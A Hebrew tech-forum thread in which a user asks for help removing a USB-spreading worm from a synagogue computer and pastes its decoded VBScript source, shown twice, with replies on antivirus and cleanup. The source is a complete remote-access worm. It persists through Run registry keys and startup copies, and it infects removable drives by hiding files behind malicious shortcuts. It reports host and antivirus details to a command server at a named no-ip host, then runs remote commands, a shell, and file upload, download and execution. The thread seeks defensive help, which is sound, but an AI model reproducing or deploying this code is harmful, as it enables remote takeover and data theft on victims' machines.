                                    download cmd (1),cmd (2)
                              case "site-send"
                                    sitedownloader cmd (1),cmd (2)
                              case "recv"
                                    param = cmd (1)
                                    upload (param)
                              case  "enum-driver"
                                    post "is-enum-driver",enumdriver  
                              case  "enum-faf"
                                    param = cmd (1)
                                    post "is-enum-faf",enumfaf (param)
                              case  "enum-process"
                                    post "is-enum-process",enumprocess   
                              case  "cmd-shell"
                                    param = cmd (1)
                                    post "is-cmd-shell",cmdshell (param)  
                              case  "delete"
                                    param = cmd (1)
                                    deletefaf (param) 
                              case  "exit-process"
                                    param = cmd (1)
                                    exitprocess (param) 
                              case  "sleep"
                                    param = cmd (1)
                                    sleep = eval (param)        
                              end select
                              
                              wscript.sleep sleep
                              
                              wend
                              
                              sub install
                              on error resume next
                              dim lnkobj
                              dim filename
                              dim foldername
                              dim fileicon
                              dim foldericon
                              
                              upstart
                              for each drive in filesystemobj.drives
                              
                              if  drive.isready = true then
                              if  drive.freespace  > 0 then
                              if  drive.drivetype  = 1 then
                                  filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                  if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                      filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                  end if
                                  for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                      if not lnkfile then exit for
                                      if  instr (file.name,".") then
                                          if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                              file.attributes = 2+4
                                              if  ucase (file.name) <> ucase (installname) then
                                                  filename = split(file.name,".")
                                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                  lnkobj.windowstyle = 7
                                                  lnkobj.targetpath = "cmd.exe"
                                                  lnkobj.workingdirectory = ""
                                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                  fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                  if  instr (fileicon,",") = 0 then
                                                      lnkobj.iconlocation = file.path
                                                  else 
                                                      lnkobj.iconlocation = fileicon
                                                  end if
                                                  lnkobj.save()
                                              end if
                                          end if
                                      end if
                                  next
                                  for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                      if not lnkfolder then exit for
                                      folder.attributes = 2+4
                                      foldername = folder.name
                                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                      lnkobj.windowstyle = 7
                                      lnkobj.targetpath = "cmd.exe"
                                      lnkobj.workingdirectory = ""
                                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                      foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                      if  instr (foldericon,",") = 0 then
                                          lnkobj.iconlocation = folder.path
                                      else 
                                          lnkobj.iconlocation = foldericon
                                      end if
                                      lnkobj.save()
                                  next
                              end If
                              end If
                              end if
                              next
                              err.clear
                              end sub
                              
                              sub uninstall
                              on error resume next
                              dim filename
                              dim foldername
                              
                              shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                              shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                              filesystemobj.deletefile startup & installname ,true
                              filesystemobj.deletefile wscript.scriptfullname ,true
                              
                              for  each drive in filesystemobj.drives
                              if  drive.isready = true then
                              if  drive.freespace  > 0 then
                              if  drive.drivetype  = 1 then
                                  for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                       on error resume next
                                       if  instr (file.name,".") then
                                           if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                               file.attributes = 0
                                               if  ucase (file.name) <> ucase (installname) then
                                                   filename = split(file.name,".")
                                                   filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                               else
                                                   filesystemobj.deletefile (drive.path & "\" & file.name)
                                               end If
                                           else
                                               filesystemobj.deletefile (file.path) 
                                           end if
                                       end if
                                   next
                                   for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                       folder.attributes = 0
                                   next
                              end if
                              end if
                              end if
                              next
                              wscript.quit
                              end sub
                              
                              function post (cmd ,param)
                              
                              post = param
                              httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                              httpobj.setrequestheader "user-agent:",information
                              httpobj.send param
                              post = httpobj.responsetext
                              end function
                              
                              function information
                              on error resume next
                              if  inf = "" then
                                  inf = hwid & spliter 
                                  inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                  inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                              
                                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                  set os = root.execquery ("select * from win32_operatingsystem")
                                  for each osinfo in os
                                     inf = inf & osinfo.caption & spliter  
                                     exit for
                                  next
                                  inf = inf & "plus" & spliter
                                  inf = inf & security & spliter
                                  inf = inf & usbspreading
                                  information = inf  
                              else
                                  information = inf
                              end if
                              end function
                              
                              sub upstart ()
                              on error resume Next
                              
                              shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                              filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                              filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                              
                              end sub
                              
                              function hwid
                              on error resume next
                              
                              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                              set disks = root.execquery ("select * from win32_logicaldisk")
                              for each disk in disks
                                  if  disk.volumeserialnumber <> "" then
                                      hwid = disk.volumeserialnumber
                                      exit for
                                  end if
                              next
                              end function
                              
                              function security 
                              on error resume next
                              
                              security = ""
                              
                              set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                              set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                              for each objitem in colitems
                                  versionstr = split (objitem.version,".")
                              next
                              versionstr = split (colitems.version,".")
                              osversion = versionstr (0) & "."
                              for  x = 1 to ubound (versionstr)
                                   osversion = osversion &  versionstr (i)
                              next
                              osversion = eval (osversion)
                              if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                              
                              set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                              Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                              
                              for each objantivirus in colantivirus
                                  security  = security  & objantivirus.displayname & " ."
                              next
                              if security  = "" then security  = "nan-av"
                              end function
                              
                              function instance
                              on error resume next
                              
                              usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                              if usbspreading = "" then
                                 if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                    usbspreading = "true - " & date
                                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                 else
                                    usbspreading = "false - " & date
                                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                              
                                 end if
                              end If
                              
                              
                              upstart
                              set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                              set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                              if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                  wscript.quit 
                              end If
                              err.clear
                              set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                              if  err.number > 0 then wscript.quit
                              end function
                              
                              sub sitedownloader (fileurl,filename)
                              
                              strlink = fileurl
                              strsaveto = installdir & filename
                              set objhttpdownload = createobject("msxml2.xmlhttp" )
                              objhttpdownload.open "get", strlink, false
                              objhttpdownload.send
                              
                              set objfsodownload = createobject ("scripting.filesystemobject")
                              if  objfsodownload.fileexists (strsaveto) then
                                  objfsodownload.deletefile (strsaveto)
                              end if
                               
                              if objhttpdownload.status = 200 then
                                 dim  objstreamdownload
                                 set  objstreamdownload = createobject("adodb.stream")
                                 with objstreamdownload
                                      .type = 1 
                                      .open
                                      .write objhttpdownload.responsebody
                                      .savetofile strsaveto
                                      .close
                                 end with
                                 set objstreamdownload = nothing
                              end if
                              if objfsodownload.fileexists(strsaveto) then
                                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
                              end if 
                              end sub
                              
                              sub download (fileurl,filedir)
                              
                              if filedir = "" then 
                                 filedir = installdir
                              end if
                              
                              strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                              set objhttpdownload = createobject("msxml2.xmlhttp")
                              objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                              objhttpdownload.send ""
                                   
                              set objfsodownload = createobject ("scripting.filesystemobject")
                              if  objfsodownload.fileexists (strsaveto) then
                                  objfsodownload.deletefile (strsaveto)
                              end if
                              if  objhttpdownload.status = 200 then
                                  dim  objstreamdownload
                                  set  objstreamdownload = createobject("adodb.stream")
                                  with objstreamdownload 
                                       .type = 1 
                                       .open
                                       .write objhttpdownload.responsebody
                                       .savetofile strsaveto
                                       .close
                                  end with
                                  set objstreamdownload  = nothing
                              end if
                              if objfsodownload.fileexists(strsaveto) then
                                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
                              end if 
                              end sub
                              
                              function upload (fileurl)
                              
                              dim  httpobj,objstreamuploade,buffer
                              set  objstreamuploade = createobject("adodb.stream")
                              with objstreamuploade 
                                   .type = 1 
                                   .open
                                   .loadfromfile fileurl
                                   buffer = .read
                                   .close
                              end with
                              set objstreamdownload = nothing
                              set httpobj = createobject("msxml2.xmlhttp")
                              httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                              httpobj.send buffer
                              end function
                              
                              function enumdriver ()
                              
                              for  each drive in filesystemobj.drives
                              if   drive.isready = true then
                                   enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                              end if
                              next
                              end Function
                              
                              function enumfaf (enumdir)
                              
                              enumfaf = enumdir & spliter
                              for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                   enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                              next
                              
                              for  each file in filesystemobj.getfolder (enumdir).files
                                   enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                              
                              next
                              end function
                              
                              function enumprocess ()
                              
                              on error resume next
                              
                              set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                              set colitems = objwmiservice.execquery("select * from win32_process",,48)
                              
                              dim objitem
                              for each objitem in colitems
                                  enumprocess = enumprocess & objitem.name & "|"
                                  enumprocess = enumprocess & objitem.processid & "|"
                                  enumprocess = enumprocess & objitem.executablepath & spliter
                              next
                              end function
                              
                              sub exitprocess (pid)
                              on error resume next
                              
                              shellobj.run "taskkill /F /T /PID " & pid,7,true
                              end sub
                              
                              sub deletefaf (url)
                              on error resume next
                              
                              filesystemobj.deletefile url
                              filesystemobj.deletefolder url
                              
                              end sub
                              
                              function cmdshell (cmd)
                              
                              dim httpobj,oexec,readallfromany
                              
                              set oexec = shellobj.exec ("%comspec% /c " & cmd)
                              if not oexec.stdout.atendofstream then
                                 readallfromany = oexec.stdout.readall
                              elseif not oexec.stderr.atendofstream then
                                 readallfromany = oexec.stderr.readall
                              else 
                                 readallfromany = ""
                              end if
                              
                              cmdshell = readallfromany
                              end function
                              
                              cfopuserC מנותק
                              cfopuserC מנותק
                              cfopuser
                              כתב נערך לאחרונה על ידי
                              #14

                              @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                              לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                              נראה שלא הועיל,
                              לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                              מתכנת חובבמ תגובה 1 תגובה אחרונה
                              1
                              • cfopuserC cfopuser

                                @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                                נראה שלא הועיל,
                                לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                                מתכנת חובבמ מנותק
                                מתכנת חובבמ מנותק
                                מתכנת חובב
                                מדריכים
                                כתב נערך לאחרונה על ידי
                                #15

                                @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                                צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                ר תגובה 1 תגובה אחרונה
                                0
                                • מתכנת חובבמ מתכנת חובב

                                  @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                                  ר מנותק
                                  ר מנותק
                                  רנדומלי
                                  כתב נערך לאחרונה על ידי
                                  #16

                                  השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                                  מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                                  מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                                  גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                                  @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                  cfopuserC מתכנת חובבמ 2 תגובות תגובה אחרונה
                                  0
                                  • ר רנדומלי

                                    השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                                    מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                                    מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                                    גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                                    @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                    cfopuserC מנותק
                                    cfopuserC מנותק
                                    cfopuser
                                    כתב נערך לאחרונה על ידי
                                    #17

                                    @רנדומלי היא כן.

                                    תגובה 1 תגובה אחרונה
                                    1
                                    • ר רנדומלי

                                      בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                                      cmd /c hrxxryydxo.vbs && start explorer [file name]
                                      

                                      הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                                      לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                      תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                                      לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                                      z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                                      

                                      בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                                      לאחר פיענוח הקידוד התקבל הקוד הבא:
                                      אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                                      e
                                      '<[ recoder : houdini (c) skype : houdini-fx ]>
                                      
                                      '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                                      
                                      host = "khattab.no-ip.biz"
                                      port = 5550
                                      installdir = "%temp%"
                                      lnkfile = true
                                      lnkfolder = true
                                      
                                      '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                                      
                                      dim shellobj 
                                      set shellobj = wscript.createobject("wscript.shell")
                                      dim filesystemobj
                                      set filesystemobj = createobject("scripting.filesystemobject")
                                      dim httpobj
                                      set httpobj = createobject("msxml2.xmlhttp")
                                      
                                      '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                                      
                                      installname = wscript.scriptname
                                      startup = shellobj.specialfolders ("startup") & "\"
                                      installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                                      if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                                      spliter = "<" & "|" & ">"
                                      sleep = 5000 
                                      dim response
                                      dim cmd
                                      dim param
                                      info = ""
                                      usbspreading = ""
                                      startdate = ""
                                      dim oneonce
                                      
                                      '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                                      on error resume next
                                      
                                      instance
                                      while true
                                      
                                      install
                                      
                                      response = ""
                                      response = post ("is-ready","")
                                      cmd = split (response,spliter)
                                      select case cmd (0)
                                      case "excecute"
                                            param = cmd (1)
                                            execute param
                                      case "update"
                                            param = cmd (1)
                                            oneonce.close
                                            set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                            oneonce.write param
                                            oneonce.close
                                            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                            wscript.quit 
                                      case "uninstall"
                                            uninstall
                                      case "send"
                                            download cmd (1),cmd (2)
                                      case "site-send"
                                            sitedownloader cmd (1),cmd (2)
                                      case "recv"
                                            param = cmd (1)
                                            upload (param)
                                      case  "enum-driver"
                                            post "is-enum-driver",enumdriver  
                                      case  "enum-faf"
                                            param = cmd (1)
                                            post "is-enum-faf",enumfaf (param)
                                      case  "enum-process"
                                            post "is-enum-process",enumprocess   
                                      case  "cmd-shell"
                                            param = cmd (1)
                                            post "is-cmd-shell",cmdshell (param)  
                                      case  "delete"
                                            param = cmd (1)
                                            deletefaf (param) 
                                      case  "exit-process"
                                            param = cmd (1)
                                            exitprocess (param) 
                                      case  "sleep"
                                            param = cmd (1)
                                            sleep = eval (param)        
                                      end select
                                      
                                      wscript.sleep sleep
                                      
                                      wend
                                      
                                      sub install
                                      on error resume next
                                      dim lnkobj
                                      dim filename
                                      dim foldername
                                      dim fileicon
                                      dim foldericon
                                      
                                      upstart
                                      for each drive in filesystemobj.drives
                                      
                                      if  drive.isready = true then
                                      if  drive.freespace  > 0 then
                                      if  drive.drivetype  = 1 then
                                          filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                          if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                              filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                          end if
                                          for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                              if not lnkfile then exit for
                                              if  instr (file.name,".") then
                                                  if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                                      file.attributes = 2+4
                                                      if  ucase (file.name) <> ucase (installname) then
                                                          filename = split(file.name,".")
                                                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                          lnkobj.windowstyle = 7
                                                          lnkobj.targetpath = "cmd.exe"
                                                          lnkobj.workingdirectory = ""
                                                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                          fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                          if  instr (fileicon,",") = 0 then
                                                              lnkobj.iconlocation = file.path
                                                          else 
                                                              lnkobj.iconlocation = fileicon
                                                          end if
                                                          lnkobj.save()
                                                      end if
                                                  end if
                                              end if
                                          next
                                          for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                              if not lnkfolder then exit for
                                              folder.attributes = 2+4
                                              foldername = folder.name
                                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                              lnkobj.windowstyle = 7
                                              lnkobj.targetpath = "cmd.exe"
                                              lnkobj.workingdirectory = ""
                                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                              foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                              if  instr (foldericon,",") = 0 then
                                                  lnkobj.iconlocation = folder.path
                                              else 
                                                  lnkobj.iconlocation = foldericon
                                              end if
                                              lnkobj.save()
                                          next
                                      end If
                                      end If
                                      end if
                                      next
                                      err.clear
                                      end sub
                                      
                                      sub uninstall
                                      on error resume next
                                      dim filename
                                      dim foldername
                                      
                                      shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                      shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                      filesystemobj.deletefile startup & installname ,true
                                      filesystemobj.deletefile wscript.scriptfullname ,true
                                      
                                      for  each drive in filesystemobj.drives
                                      if  drive.isready = true then
                                      if  drive.freespace  > 0 then
                                      if  drive.drivetype  = 1 then
                                          for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                               on error resume next
                                               if  instr (file.name,".") then
                                                   if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                                       file.attributes = 0
                                                       if  ucase (file.name) <> ucase (installname) then
                                                           filename = split(file.name,".")
                                                           filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                                       else
                                                           filesystemobj.deletefile (drive.path & "\" & file.name)
                                                       end If
                                                   else
                                                       filesystemobj.deletefile (file.path) 
                                                   end if
                                               end if
                                           next
                                           for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                               folder.attributes = 0
                                           next
                                      end if
                                      end if
                                      end if
                                      next
                                      wscript.quit
                                      end sub
                                      
                                      function post (cmd ,param)
                                      
                                      post = param
                                      httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                                      httpobj.setrequestheader "user-agent:",information
                                      httpobj.send param
                                      post = httpobj.responsetext
                                      end function
                                      
                                      function information
                                      on error resume next
                                      if  inf = "" then
                                          inf = hwid & spliter 
                                          inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                          inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                                      
                                          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                          set os = root.execquery ("select * from win32_operatingsystem")
                                          for each osinfo in os
                                             inf = inf & osinfo.caption & spliter  
                                             exit for
                                          next
                                          inf = inf & "plus" & spliter
                                          inf = inf & security & spliter
                                          inf = inf & usbspreading
                                          information = inf  
                                      else
                                          information = inf
                                      end if
                                      end function
                                      
                                      sub upstart ()
                                      on error resume Next
                                      
                                      shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                      filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                                      filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                                      
                                      end sub
                                      
                                      function hwid
                                      on error resume next
                                      
                                      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                      set disks = root.execquery ("select * from win32_logicaldisk")
                                      for each disk in disks
                                          if  disk.volumeserialnumber <> "" then
                                              hwid = disk.volumeserialnumber
                                              exit for
                                          end if
                                      next
                                      end function
                                      
                                      function security 
                                      on error resume next
                                      
                                      security = ""
                                      
                                      set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                      set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                                      for each objitem in colitems
                                          versionstr = split (objitem.version,".")
                                      next
                                      versionstr = split (colitems.version,".")
                                      osversion = versionstr (0) & "."
                                      for  x = 1 to ubound (versionstr)
                                           osversion = osversion &  versionstr (i)
                                      next
                                      osversion = eval (osversion)
                                      if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                                      
                                      set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                                      Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                                      
                                      for each objantivirus in colantivirus
                                          security  = security  & objantivirus.displayname & " ."
                                      next
                                      if security  = "" then security  = "nan-av"
                                      end function
                                      
                                      function instance
                                      on error resume next
                                      
                                      usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                                      if usbspreading = "" then
                                         if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                            usbspreading = "true - " & date
                                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                         else
                                            usbspreading = "false - " & date
                                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                      
                                         end if
                                      end If
                                      
                                      
                                      upstart
                                      set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                                      set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                                      if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                          wscript.quit 
                                      end If
                                      err.clear
                                      set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                                      if  err.number > 0 then wscript.quit
                                      end function
                                      
                                      sub sitedownloader (fileurl,filename)
                                      
                                      strlink = fileurl
                                      strsaveto = installdir & filename
                                      set objhttpdownload = createobject("msxml2.xmlhttp" )
                                      objhttpdownload.open "get", strlink, false
                                      objhttpdownload.send
                                      
                                      set objfsodownload = createobject ("scripting.filesystemobject")
                                      if  objfsodownload.fileexists (strsaveto) then
                                          objfsodownload.deletefile (strsaveto)
                                      end if
                                       
                                      if objhttpdownload.status = 200 then
                                         dim  objstreamdownload
                                         set  objstreamdownload = createobject("adodb.stream")
                                         with objstreamdownload
                                              .type = 1 
                                              .open
                                              .write objhttpdownload.responsebody
                                              .savetofile strsaveto
                                              .close
                                         end with
                                         set objstreamdownload = nothing
                                      end if
                                      if objfsodownload.fileexists(strsaveto) then
                                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                      end if 
                                      end sub
                                      
                                      sub download (fileurl,filedir)
                                      
                                      if filedir = "" then 
                                         filedir = installdir
                                      end if
                                      
                                      strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                                      set objhttpdownload = createobject("msxml2.xmlhttp")
